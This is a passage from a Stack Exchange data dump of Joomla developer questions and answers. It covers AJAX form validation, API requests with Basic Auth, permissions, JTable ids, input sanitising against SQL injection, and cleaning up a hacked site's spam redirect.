class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('name'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;control-group&quot;&amp;gt;&#xA;                &amp;lt;div class=&quot;control-label&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getLabel('href'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;div class=&quot;controls&quot;&amp;gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getInput('href'); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&#xA;                &amp;lt;a class=&quot;btn&quot; href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_my&amp;amp;task=siteform.cancel'); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo JText::_('JCANCEL'); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;button type=&quot;submit&quot; class=&quot;validate btn btn-primary submit&quot; data-next=&quot;options&quot;&amp;gt;&amp;lt;?php echo JText::_('JNEXT'); ?&amp;gt;&amp;lt;/button&amp;gt;&#xA;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_my&quot; /&amp;gt;&#xA;            &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;siteform.save&quot; /&amp;gt;&#xA;            &amp;lt;?php echo JHtml::_('form.token'); ?&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code file /components/com_my/assets/js/form.js`&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    jQuery.noConflict();&#xA;    (function($){ &#xA;        $(document).ready(function(){&#xA;        $('button.submit').on('click', function(){&#xA;            $('#form-site').submit();&#xA;            return false;&#xA;        }); &#xA;            $('#form-site').submit(function(event) {&#xA;    var domForm = document.getElementById('form-site');&#xA;    if (!document.formvalidator.isValid(domForm)) {&#xA;        return false;&#xA;    }&#xA;                var method = $(this).attr('method');&#xA;                var url = $(this).attr('action'); &#xA;                var data = $(this).serialize();      &#xA;                $.ajax({&#xA;                    type: method,&#xA;                    url: url,&#xA;                    data: data,&#xA;                    dataType: &quot;json&quot;,&#xA;                    success: function(response){&#xA;                        var type= response.type;                  &#xA;                        var msg = [];&#xA;                        msg[0] = response.msg;&#xA;                        var messages = {};&#xA;                        messages[&quot;&quot;+type+&quot;&quot;] = msg;&#xA;                        Joomla.renderMessages(messages);&#xA;                    }&#xA;                });&#xA;&#xA;                return false;&#xA;            });        &#xA;        });&#xA;    })(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;`&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I want to hang on the event handler submit the form and if the validation has been passed then send via AJAX or nothing to do now form sent to anyone without regard for the validation fails or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank Anibal helped to solve the problem&lt;/p&gt;&#xA;" OwnerUserId="5484" LastEditorUserId="126" LastEditDate="2015-08-26T21:00:00.440" LastActivityDate="2015-08-26T21:00:00.440" Title="Joomla 3 submit a form via AJAX after javascript checking fields validation" Tags="|ajax|form|validations|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10611" PostTypeId="2" ParentId="10610" CreationDate="2015-06-27T12:10:06.873" Score="2" Body="&lt;p&gt;There are several ways to prevent an auto submit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Attach the handler to the button, instead of form and return false to stop any further action&lt;/li&gt;&#xA;&lt;li&gt;Remove action attribute from form tag, you can define the URL in a different way when it is ready to be submitted&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Additionally, Joomla works based on global Joomla.submitform routine. You can create your own validation path, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create a button&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a href=&quot;#&quot; onclick=&quot;MyValidation.mySubmitForm&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Define your routine:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var MyValidation = {};&#xA;&#xA;MyValidation.mySubmitForm = function(e) {&#xA;    var domForm = document.getElementById('form-site');&#xA;&#xA;    if (document.formvalidator.isValid(domForm)) {&#xA;        // remember to define task&#xA;        Joomla.submitform(task, domform);&#xA;    }&#xA;&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="174" LastEditorUserId="174" LastEditDate="2015-06-27T14:19:24.617" LastActivityDate="2015-06-27T14:19:24.617" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10612" PostTypeId="2" ParentId="10607" CreationDate="2015-06-27T18:50:39.623" Score="2" Body="&lt;p&gt;Why are you trying to define the same position twice? I doubt Joomla supports multiple positions with the same name. How is that supposed to work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should instead give the second position a different name. Then this one can have another default style.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-27T18:50:39.623" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="2" ParentId="10567" CreationDate="2015-06-27T21:47:21.873" Score="-1" Body="&lt;p&gt;I installed QuickStart version, and it solved all problems. Now this problem isn't actual.&lt;/p&gt;&#xA;" OwnerUserId="5470" LastActivityDate="2015-06-27T21:47:21.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="1" CreationDate="2015-06-28T10:45:52.383" Score="0" ViewCount="53" Body="&lt;p&gt;I have a rather old Joomla site &lt;a href=&quot;http://qlectives.eu&quot; rel=&quot;nofollow&quot;&gt;http://qlectives.eu&lt;/a&gt; running Joomla 1.5.17 (it is not longer in use but I want to keep it available for anyone wanting to look back at it; therefore I don't want to upgrade to 3.x if I can avoid it).  Generally it works fine, but I have discovered that &lt;a href=&quot;http://qlectives.eu/?oem=adobe-incopy-cs5-mac&quot; rel=&quot;nofollow&quot;&gt;http://qlectives.eu/?oem=adobe-incopy-cs5-mac&lt;/a&gt; gives a 302 redirection to a site selling fake Adobe products.  Obviously I want to stop this, but I have no idea where this redirection is being generated.  I've checked the .htaccess file, which looks fine. Where else should I be looking?  Is there a known hack that does this?&lt;/p&gt;&#xA;" OwnerUserId="5486" LastActivityDate="2015-07-29T07:31:34.457" Title="Tracking down a spam redirection: ?oem=" Tags="|joomla-1.5|hack|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="2" ParentId="5550" CreationDate="2015-06-28T10:58:24.273" Score="0" Body="&lt;p&gt;The best CCK for Joomla i can suggest you is: &lt;strong&gt;King Content&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's FREE and it help to build almost kind of content site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It supports extra fields and you can assign an article to many categories, strongly support SEO/SEF and the interface is much like com_content, so it's very easy to use if you familiar with core joomla content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JED link: &lt;a href=&quot;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/king-content&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/authoring-a-content/content-construction/king-content&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download: &lt;a href=&quot;http://www.joomultra.com/download/extensions/king-content.html&quot; rel=&quot;nofollow&quot;&gt;http://www.joomultra.com/download/extensions/king-content.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5488" LastEditorUserId="5488" LastEditDate="2015-06-28T14:54:55.580" LastActivityDate="2015-06-28T14:54:55.580" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10622" PostTypeId="1" AcceptedAnswerId="10670" CreationDate="2015-06-28T15:18:37.527" Score="4" ViewCount="1676" Body="&lt;p&gt;I would like to perform a cURL request using the API of Joomla 3.4 using the POST method. I have following code, but keep getting a 401 error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$headers = array(&#xA;    'Content-Type' =&amp;gt; 'application/json',&#xA;    'Authorization' =&amp;gt; 'Basic ' . base64_encode($username . &quot;:&quot; . $pass),&#xA;    'X-Auth-Token' =&amp;gt; urlencode($auth_token),&#xA;    'Content-Length' =&amp;gt; urlencode(strlen($app_xml)),&#xA;);&#xA;&#xA;$options = new Joomla\Registry\Registry();&#xA;&#xA;$http = JHttpFactory::getHttp($options);&#xA;$http-&amp;gt;setOption(CURLOPT_POST, 1);&#xA;$http-&amp;gt;setOption(CURLOPT_POSTFIELDS, $app_xml);&#xA;$http-&amp;gt;setOption(CURLOPT_RETURNTRANSFER, 1);&#xA;$http-&amp;gt;setOption(CURLOPT_HTTPHEADER, $headers);&#xA;$response = $http-&amp;gt;post($url, $app_xml);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the following vanilla cURL request, it works and gives back a 200-response:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ch = curl_init();&#xA;&#xA;$headers = array(&#xA;    'Content-Type: application/json',&#xA;    'Authorization: Basic ' . base64_encode($username . &quot;:&quot; . $pass),&#xA;    'X-Auth-Token: ' . urlencode($auth_token),&#xA;    'Content-Length: ' . urlencode(strlen($app_xml)),&#xA;);&#xA;&#xA;//set the url, number of POST vars, POST data&#xA;curl_setopt($ch, CURLOPT_URL, $url);&#xA;//curl_setopt($ch, CURLOPT_HEADER, 1);&#xA;curl_setopt($ch, CURLOPT_POST, 1);&#xA;curl_setopt($ch, CURLOPT_POSTFIELDS, $app_xml);&#xA;curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);&#xA;curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);&#xA;&#xA;//execute post&#xA;$result = curl_exec($ch);&#xA;$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);&#xA;$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);&#xA;&#xA;//close connection&#xA;curl_close($ch);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anything I'm doing wrong here in the Joomla-part of my code?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2015-07-02T09:24:18.237" Title="Perform Basic Authentication cURL request using API" Tags="|curl|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostTypeId="2" ParentId="10616" CreationDate="2015-06-29T07:04:33.727" Score="2" Body="&lt;p&gt;Really, get that Joomla installation at least up to the latest available release for that series, which would be &lt;a href=&quot;https://www.google.ch/url?sa=t&amp;amp;rct=j&amp;amp;q=&amp;amp;esrc=s&amp;amp;source=web&amp;amp;cd=1&amp;amp;cad=rja&amp;amp;uact=8&amp;amp;ved=0CCYQFjAA&amp;amp;url=http%3A%2F%2Fwww.joomla.org%2Fannouncements%2Frelease-news%2F5419-joomla-1526-released.html&amp;amp;ei=MO2QVe2vNcz5UrepgIgO&amp;amp;usg=AFQjCNEbLJFtY7vurqvwXrrasFLKaFiE3Q&amp;amp;sig2=nMLuaZyMv_qLBF84X1PCSg&amp;amp;bvm=bv.96783405,d.d24&quot; rel=&quot;nofollow&quot;&gt;Joomla 1.5.26&lt;/a&gt;&#xA;There is also a &lt;a href=&quot;https://docs.joomla.org/Security_hotfixes_for_Joomla_EOL_versions&quot; rel=&quot;nofollow&quot;&gt;community patch&lt;/a&gt; which fixes a security issue found after Joomla 1.5 went EoL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that, make sure to check the whole site for hacked files. Refer to the &lt;a href=&quot;https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced&quot; rel=&quot;nofollow&quot;&gt;official documentation&lt;/a&gt; what you should do when you detect a hacked site.&#xA;You can request paid service from &lt;a href=&quot;https://myjoomla.com/&quot; rel=&quot;nofollow&quot;&gt;MyJoomla&lt;/a&gt; or similar services who can clean your site.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-29T07:04:33.727" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostTypeId="1" AcceptedAnswerId="10625" CreationDate="2015-06-29T07:15:00.570" Score="1" ViewCount="525" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;field label=&quot;FORM_FIELD_IMAGES_LABEL&quot; &#xA;               description=&quot;FORM_FIELD_IMAGES_DESC&quot; &#xA;               name=&quot;images&quot; &#xA;               type=&quot;media&quot; &#xA;               directory=&quot;com_ccomponent&quot;&#xA;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;above is media field for site (front-end) form of my custom component. As guest I'm unable to browse/upload any image. &#xA;Is there a way i can use this field type as guest user? &#xA;It's an access related error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;You are not authorised to view this resource.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="3484" LastActivityDate="2015-06-29T07:19:43.320" Title="How to allow access to guest user for image upload on site form in custom component?" Tags="|joomla-3.x|media-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10625" PostTypeId="2" ParentId="10624" CreationDate="2015-06-29T07:19:43.320" Score="1" Body="&lt;p&gt;I think Some permission problem are there&lt;br&gt;&#xA;Goto joomla administrator -&gt; Custom component -&gt; Options -&gt; Here you can set the permission for whatever guest user can access the page.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-29T07:19:43.320" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10626" PostTypeId="2" ParentId="10460" CreationDate="2015-06-29T08:53:01.097" Score="-1" Body="&lt;p&gt;I have the same problem using the smart search module of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are results of partial keywords when using the default search module of Joomla, but not in the smart search module. This is not very smart or is it a setting?&lt;/p&gt;&#xA;" OwnerUserId="5493" LastActivityDate="2015-06-29T08:53:01.097" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10627" PostTypeId="1" AcceptedAnswerId="10628" CreationDate="2015-06-29T09:24:25.893" Score="0" ViewCount="1394" Body="&lt;p&gt;I'm using a method to store information in another table. This is how I'm doing that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function CreateMail($userid, $title, $state = 1)&#xA;{           &#xA;    $maildata['userid'] = $userid;&#xA;    $maildata['title']  = $title;&#xA;    $maildata['state']  = $state;               &#xA;&#xA;    $row = JTable::getInstance('Mail','BestiaTable');&#xA;    $row-&amp;gt;bind($maildata);&#xA;    $row-&amp;gt;check();&#xA;    $storemessage = $row-&amp;gt;store();&#xA;&#xA;    return $storemessage;                       &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is working fine - but one problem remains: I would like to get the id of the saved data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: The given answer worked on 3.4.48 but on 3.5 &lt;code&gt;$row-&amp;gt;id&lt;/code&gt; always returns &lt;code&gt;NULL&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4028" LastEditorUserId="4028" LastEditDate="2016-03-25T20:00:56.400" LastActivityDate="2016-03-26T11:52:19.613" Title="Store data to other table and get the id" Tags="|php|jtable|jmodel|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10628" PostTypeId="2" ParentId="10627" CreationDate="2015-06-29T09:35:35.370" Score="4" Body="&lt;p&gt;&lt;code&gt;$row&lt;/code&gt; contains inserted data with PK. So &lt;code&gt;$row-&amp;gt;id&lt;/code&gt; is id of the saved data.&#xA;So you can do&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; public static function CreateMail($userid, $title, $state = 1)&#xA;    {           &#xA;        $maildata['userid']     =       $userid;&#xA;        $maildata['title']      =       $title;&#xA;        $maildata['state']      =       $state;             &#xA;&#xA;        $row=JTable::getInstance('Mail','BestiaTable');&#xA;        $row-&amp;gt;bind($maildata);&#xA;        $row-&amp;gt;check();&#xA;        $storemessage = $row-&amp;gt;store();&#xA;&#xA;        return $row-&amp;gt;id;                       &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-06-29T09:35:35.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10629" PostTypeId="1" CreationDate="2015-06-29T10:49:14.767" Score="1" ViewCount="1227" Body="&lt;p&gt;I have installed joomla 3.3.6 and I had no troubles installing it. I login as super user, and everytime I try to change any element (menu, items, modules) it displays the &lt;code&gt;ERR_EMPTY_RESPONSE&lt;/code&gt; error. I think this might be due to permissions restrictions. But I am loging in as super user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What may be causing this error?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;best regards &lt;/p&gt;&#xA;" OwnerUserId="3371" LastActivityDate="2024-03-17T00:07:36.047" Title="Backend - ERR_EMPTY_RESPONSE" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10630" PostTypeId="1" CreationDate="2015-06-29T12:00:25.560" Score="3" ViewCount="1228" Body="&lt;p&gt;I just created a script witch fetches mails from IMAP and stores the title and  content in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course I don't want to save these information without a check; I'm a bit paranoid but I think it would be possible to do a MySQL-Injection-Attack, if I store the title and content of the mail without checking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my question: How can I store these information? Are there any Joomla-On-Board-Methods to check the content?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :-)&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-06-29T14:46:34.727" Title="Filter strings before saving them in the database" Tags="|php|mysql|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10632" PostTypeId="1" CreationDate="2015-06-29T12:44:51.693" Score="0" ViewCount="86" Body="&lt;p&gt;on my Joomla-CLI-Script I would like to fetch all user-ids which belong to a specific group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My script so far:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // $groups = groups that are set in global params&#xA;    if(!empty($groups));&#xA;    {       &#xA;        foreach($groups as $group) :&#xA;            $groupmembers = JAccess::getUsersByGroup($group);   &#xA;&#xA;            foreach($groupmembers as $groupmember) :&#xA;                $user = JFactory::getUser($groupmember);&#xA;                $userarray[] = array(   &quot;email&quot; =&amp;gt; $user-&amp;gt;email,&#xA;                                        &quot;userid&quot; =&amp;gt; $user-&amp;gt;id); &#xA;            endforeach;&#xA;        endforeach;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now I'm getting this error: Trying to get property of non-object in /var/www/web1/htdocs/libraries/joomla/factory.php on line 246&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I edit factory.php and go to line 246, I'm getting this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif (is_string($id) || $instance-&amp;gt;id !== $id)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I guess my CLI does not create an instance - but how can I do that?&lt;/p&gt;&#xA;" OwnerUserId="4028" LastActivityDate="2015-08-28T14:32:13.773" Title="CLI: Can not fetch members of specific groups" Tags="|php|jfactory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10633" PostTypeId="2" ParentId="10630" CreationDate="2015-06-29T13:05:55.450" Score="4" Body="&lt;p&gt;To avoid MySQL-Injection-Attacks, you can have to properly escape and quote special characters. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = 'SELECT * FROM #__table WHERE ' . $db-&amp;gt;quoteName( $field-name ) . '=' . $db-&amp;gt;quote( $field-value );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reference: &lt;a href=&quot;https://docs.joomla.org/Secure_coding_guidelines#Secure_strings&quot; rel=&quot;nofollow&quot;&gt;Secure coding guidelines&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastEditorUserId="52" LastEditDate="2015-06-29T14:46:34.727" LastActivityDate="2015-06-29T14:46:34.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10634" PostTypeId="2" ParentId="10632" CreationDate="2015-06-29T13:08:46.790" Score="2" Body="&lt;p&gt;If you simply want to get the ID's and email's of all users that belong to a specific group, you can do the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$group_id       = 8;&#xA;$usersByGroup   = JAccess::getUsersByGroup($group_id);&#xA;&#xA;foreach ($usersByGroup as $id)&#xA;{&#xA;    $user = JFactory::getUser($id);&#xA;    echo $id;&#xA;    echo $user-&amp;gt;email;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course, change &lt;code&gt;8&lt;/code&gt; to the ID of the group you wish to target.&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-29T13:08:46.790" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10635" PostTypeId="1" AcceptedAnswerId="10637" CreationDate="2015-06-29T14:28:46.210" Score="2" ViewCount="259" Body="&lt;p&gt;I am using RS Forms Pro and I am able to view a list of submitted forms via a menu link. I am able to &lt;em&gt;view&lt;/em&gt;, &lt;em&gt;edit&lt;/em&gt; and &lt;em&gt;download&lt;/em&gt; the forms from this page. I have since added &lt;em&gt;delete&lt;/em&gt; functionality which works as expected. I followed the excellent guide &lt;a href=&quot;https://www.rsjoomla.com/support/rsform-pro/frequently-asked-questions/how-to-create-a-delete-submission-button-in-manage-directories.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I am trying to do now is probably quite simple however I cannot figure it out. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the 'delete' button is pressed, the form is deleted and the page refreshes, great. However I would like to display a message (presumably within the system-message div) that reads (something like)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;successfully deleted&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The delete functionality works however I will include my code for reference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script called on form display is as follows (this is set in RS Form config);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// First we have to check the &quot;action&quot; parameter from the URL&#xA;$action = JRequest::getWord('action');&#xA;if ($action == &quot;delete&quot;) {&#xA;&#xA;// If it returns true it will continue running the script &#xA;  $id_value = JRequest::getInt('id');&#xA;  $formId_value = JRequest::getInt('formId');&#xA;&#xA;// For security reasons we verify if the user has the right to edit submissions using RSFormProHelper&#xA;  if ($id_value &amp;amp;&amp;amp; $formId_value &amp;amp;&amp;amp; RSFormProHelper::canEdit($formId_value,$id_value)){&#xA;&#xA;// If user has enough permission rights, run the query&#xA;    $db = JFactory::getDbo();&#xA;    $db-&amp;gt;setQuery(&quot;DELETE FROM #__rsform_submission_values WHERE `SubmissionId`='&quot;. $id_value.&quot;'&quot;);&#xA;    $db-&amp;gt;execute();&#xA;    $db-&amp;gt;setQuery(&quot;DELETE FROM #__rsform_submissions WHERE `SubmissionId`='&quot;. $id_value.&quot;'&quot;);&#xA;    $db-&amp;gt;execute();&#xA;&#xA;// Redirect the user back to Manage directories &#xA;    $itemId_value = JRequest::getInt('Itemid');&#xA;    $mainframe-&amp;gt;redirect(JRoute::_('index.php?option=com_rsform&amp;amp;view=directory&amp;amp;Itemid='.$itemId_value, false));&#xA;  }&#xA;&#xA;// If the user does not have permission to edit, he will be prompted with the language override created earlier:&#xA;  else&#xA;    $formLayout = JText::_('RSFP_DELETE_ERROR');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code for my delete buton is as follows (override of com_rsform);&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo JRoute::_('index.php?option=com_rsform&amp;amp;formId='.$this-&amp;gt;params-&amp;gt;get('formId').'&amp;amp;action=delete&amp;amp;id='.$item-&amp;gt;SubmissionId);?&amp;gt;&quot;&amp;gt;delete&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I view the page source I can see the empty div above my form where the system message would presumably go?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;system-message-container&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand this is related to RS Forms however I am wanting to understand how I pass a value to the system-message &lt;code&gt;div&lt;/code&gt; upon successful deletion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggestions welcome.&lt;/p&gt;&#xA;" OwnerUserId="1538" LastActivityDate="2015-06-30T09:35:13.890" Title="RS Form delete with message" Tags="|joomla-3.x|overrides|rsform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10636" PostTypeId="2" ParentId="10630" CreationDate="2015-06-29T14:46:22.957" Score="4" Body="&lt;p&gt;Additionally to quoting the data as Anibal already correctly explained, you can use &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JFilterInput.html#method_clean&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;JFilterInput-&amp;gt;clean()&lt;/code&gt;&lt;/a&gt; to clean the various inputs. That's especially helpful if you expect the data to be of a certain format.&#xA;So if you expect the title of the mail to be a simple string without any fancy stuff in it, you can use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$filter = JFilterInput::getInstance();&#xA;$title  = $filter-&amp;gt;clean($title, 'STRING');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Taken from the docblock from the available filters:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INT:       An integer,&#xA;UINT:      An unsigned integer,&#xA;FLOAT:     A floating point number,&#xA;BOOLEAN:   A boolean value,&#xA;WORD:      A string containing A-Z or underscores only (not case sensitive),&#xA;ALNUM:     A string containing A-Z or 0-9 only (not case sensitive),&#xA;CMD:       A string containing A-Z, 0-9, underscores, periods or hyphens (not case sensitive),&#xA;BASE64:    A string containing A-Z, 0-9, forward slashes, plus or equals (not case sensitive),&#xA;STRING:    A fully decoded and sanitised string (default),&#xA;HTML:      A sanitised string,&#xA;ARRAY:     An array,&#xA;PATH:      A sanitised file path,&#xA;TRIM:      A string trimmed from normal, non-breaking and multibyte spaces&#xA;USERNAME:  Do not use (use an application specific filter),&#xA;RAW:       The raw string is returned with no filtering,&#xA;unknown:   An unknown filter will act like STRING. If the input is an array it will return an&#xA;           array of fully decoded and sanitised strings.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-29T14:46:22.957" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10637" PostTypeId="2" ParentId="10635" CreationDate="2015-06-29T14:46:38.277" Score="2" Body="&lt;p&gt;You can use the &lt;code&gt;enqueueMessage&lt;/code&gt; function to display a message in the system output section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the code you've provided, you will see the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe-&amp;gt;redirect(JRoute::_('index.php?option=com_rsform&amp;amp;view=directory&amp;amp;Itemid='.$itemId_value, false));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Replace it with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mainframe-&amp;gt;redirect(JRoute::_('index.php?option=com_rsform&amp;amp;view=directory&amp;amp;Itemid='.$itemId_value, false), 'successfully deleted', 'success');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;For ease of view:&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url  = 'index.php?option=com_rsform&amp;amp;view=directory&amp;amp;Itemid='.$itemId_value;&#xA;$msg  = 'successfully deleted';&#xA;$type = 'success';&#xA;$mainframe-&amp;gt;redirect(JRoute::_($url, false), $msg, $type);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, it turns out that passing a message in the redirect function is deprecated. Instead, 